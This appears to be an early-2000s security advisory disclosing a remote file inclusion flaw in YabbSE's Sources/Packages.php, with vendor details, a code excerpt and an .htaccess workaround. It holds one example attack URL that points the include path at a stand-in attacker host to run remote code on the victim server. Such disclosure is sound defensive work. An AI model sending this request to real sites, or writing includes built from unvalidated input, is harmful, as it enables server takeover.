YabbSE Remote Code Execution Vulnerability

[mindwarper () hush com]

YabbSE Remote Code Execution Vulnerability ( By Mindwarper :: mindwarper () hush com :: )

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Vendor Information:
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Homepage : http://www.yabbse.org
Vendor : informed
Mailed advisory: 21/01/02
Vender Response : None

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Affected Versions:
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All versions prior to 1.5.0


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Vulnerability:
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YabbSE keeps all of it's function includes in a directory called "Sources" which
is not protected. Inside this directory a file called Packages.php exists. This
file is supposed to be included and not called directly, but if an attacker calls
it directly he/she may cause the script to run remote arbitrary code.
Bellow are a couple of the first lines in Packages.php:

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global $adminplver;
$Packagesphpver="YaBB SE 1.4.1";

$safe_mode = ini_get("safe_mode");
        
$pacmanver = "1.4.1";

include_once("$sourcedir/Packer.php");

..

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We can see here that the variable $sourcedir is never defined and therefore may be
defined through global injection.
Example:

http://victim/yabbse/Sources/Packages.php?sourcedir=http://attacker/


where the attacker server has a file called Packer.php.
An attacker may execute remote code on the server with webserver permissions.

Side-note: An attacker may also use this file for XSS attack on the server.

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Solution:
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Please check the vendor's website for new patches.

As a temporary solution, create a .htaccess file that contains 'Deny from all'.
Place it in the /Sources/ directory and that should block remote users from accessing it.


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Greetz:
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Hawkje, Truckle, Cyon, daemorhedron, Mithrandir

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